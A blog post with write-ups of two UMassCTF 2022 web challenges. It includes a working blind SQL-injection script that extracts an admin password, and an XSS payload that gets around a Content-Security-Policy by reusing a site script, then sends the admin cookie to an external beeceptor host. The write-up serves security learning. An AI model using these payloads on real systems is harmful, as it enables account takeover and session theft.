Post

UMassCTF 2022

I haven’t released any CTF writeups for a long time. Today i done 2 web challenge in UmassCTF so i decided writing something.

Venting

image

After tried web features, the proxy history showed me 1 interest endpoint.

image

Just change admin=True and we will get admin login page. Trying put ‘ in an textbox give me that this is sql injection challenge.

I tried dumped admin’s password by the following script and get the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

passwd = ''
    
for i in range(36):
    for x in range(127, 31, -1):
        c = chr(x)
        basepl = {
            "user": "admin",
            "pass": "1' or (SELECT hex(substr(password,{},1)) FROM users WHERE+username='admin') > hex('{}') and 'a'='a".format(i+1, c)
        }
        res = requests.post(
            'http://34.148.103.218:4446/fff5bf676ba8796f0c51033403b35311/login', data=basepl, verify=False)
        # print(c+'  :  '+str(len(res.text)))
        if len(res.text) == 113:
            passwd += chr(x+1)
            break

    print(passwd)

Umassdining

image

The source code is given in the challenge’s description but I checked web features first. The web navigation shows us 3 options: Home, Register, Join. Register is basically for registration, after fill the form we got the message ‘We got your request and will read it shortly!’. Join navigation is maybe administrator feature because the message ‘You’re not allowed here!’ appeared. Next we audit the source code. This web has the following 3 main endpoint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
@app.route("/register",methods = ['GET','POST'])
def get_register():
    if(request.method=='GET'):
        response = make_response(render_template('register.html'))
        add_resp_headers(response);
        if(check_for_cookie()==False):
            response.set_cookie("auth","-1",secure=True,samesite=None)
        return response
    elif(request.method=='POST'): 
        if(active_count()<10):
            data = request.form.to_dict()
            thread = Thread(target=bot.checkEssay,kwargs={'data':data})
            thread.start()
            return "We got your request and will read it shortly!",200
        else:
            return "We are busy right now, try again in a second",200

@app.route("/review/essay",methods = ['GET','POST'])
def reviewEssay():
    essay = {"email":request.args.get("name"),"essay":request.args.get("essay")}
    response = make_response(render_template('essay_checker.html',essay=essay))
    add_resp_headers(response)
    if(request.remote_addr != '127.0.0.1'):
        return "Sorry pal you\'re not admin"
    try:
        return response
    except:
        return 'no essays to read',200

@app.route("/join",methods = ['GET'])
def get_play():
    if(request.cookies.get("auth")==admin_cookie):
        return "TEST{not_the_real_flag}",200
    return "You're not allowed here!",403

Endpoint /join checks auth cookie and only returns flag if it is admin cookie. I need to get the admin token by somehow. /register forwards request data to bot.checkEssay

1
2
3
4
5
6
7
8
9
10
11
def checkEssay(data):
    opts = Options()
    opts.add_argument("--headless")
    driver = Firefox(executable_path='/usr/bin/geckodriver',options=opts)
    driver.set_window_size(320, 240)
    driver.set_page_load_timeout(5)
    driver.get('http://127.0.0.1:8000/')
    driver.add_cookie({"name":"auth","value":admin_cookie})
    driver.get('http://127.0.0.1:8000/review/essay?email={a}&essay={b}'.format(a=data['email'],b=data['essay']))    
    time.sleep(3)
    driver.quit()

The above section takes data from register endpoint, add admin’s cookie to cookie and make request to the last of 3 endpoints - /review/essay, maybe i could leak the cookie from this. Look /review/essay handler

1
2
3
4
5
6
7
8
9
10
def reviewEssay():
    essay = {"email":request.args.get("name"),"essay":request.args.get("essay")}
    response = make_response(render_template('essay_checker.html',essay=essay))
    add_resp_headers(response)
    if(request.remote_addr != '127.0.0.1'):
        return "Sorry pal you\'re not admin"
    try:
        return response
    except:
        return 'no essays to read',200

Check the essay_checker template returned by the above handler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
    <title>Admin Essay Review</title>
</head>
<body>
    <h1> 
        Essay Review Panel
    </h1><br>
    <div>
        <main>
            Essay<br> 
            <br>
            Author<br>
            <br>
        </main>
    </div>
</body>
</html>

The jinja2’s safe filter is used in essay property of essay object. The safe filter basically disables html-escape in the expression passed through it while rendering html page. It’s maybe vulnerable to XSS exploit and i can make outbound request to get admin’s cookie. I tried some basic payload but it didn’t work, my outbound server didn’t get any requests. The reason is the following

image

1
2
def add_resp_headers(response):
    response.headers['Content-Security-Policy']= "default-src 'self';script-src 'self' 'unsafe-eval'"

The above section adds CSP header to response that restrict browser can only load resource from the current origin. It literally means all directly payloads from our essay param won’t work. For more information about CSP, you can read here. I checked static folder and expected there was any usefull javascript file in it. And i saw things.js

1
2
3
4
5
6
7
8
var iloveumass = document.getElementById("debug").getAttribute("data-iloveumass");
function say_something(words)
{
    setTimeout(`console.log('${words}')`,500)
}
document.addEventListener("DOMContentLoaded", function() {
    say_something(iloveumass)
});

This script gets the html element with id ‘debug’, takes ‘data-iloveumass’ attribute from it and passes it to vulnerable setTimeout function call. We can manipulate this file to bypass CSP protection. Final payload is the following

1
<script id='debug' src="/static/js/thing.js" data-iloveumass="aaa');eval(document.location='http://hoangnd.free.beeceptor.com?cookie='%2bdocument.cookie);console.log('aaa"></script>

Put it in essay in register form, and an request will be made to your server.

image

Add admin’s cookie to /join endpoint and get flag.

This post is licensed under CC BY 4.0 by the author.